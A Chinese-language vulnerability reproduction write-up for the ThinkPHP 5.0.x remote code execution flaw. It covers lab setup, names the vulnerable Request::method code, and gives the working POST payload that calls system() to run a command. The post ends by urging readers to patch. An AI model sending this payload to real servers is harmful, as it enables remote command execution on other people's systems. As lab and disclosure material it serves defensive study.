ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现

2019-09-24 17:25:58 浏览数 (1)

2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。

影响范围:

ThinkPHP 5.0.x:5.0.x ~ 5.0.23

0X01 环境搭建:

CentOS/lamp

下载源码包5.0.23,其他范围之内的版本也是可以的。

解压到/opt/lamp/htdocs文件夹,在http.conf文件添加监听端口82:Listen 82;在lamp的etc目录下的虚拟主机文件中添加环境路径配置,如下图所示:

添加完毕之后,重启lamp服务,通过浏览器访问:

0X2 漏洞分析

漏洞主要出现在 ThinkPHPRequest 类的 method 方法中(thinkphp/library/think/Request.php)

Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型。

目前官方已经升级到5.4版本:

0X3 漏洞利用

抓包复现,完整的数据是:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

得到结果:

完整过程:

成功利用此漏洞的攻击者可以对目标系统进行远程代码执行攻击。目前,该漏洞的漏洞验证代码已在互联网上公开,近期被利用的可能性较大。请尽快修复。

0 人点赞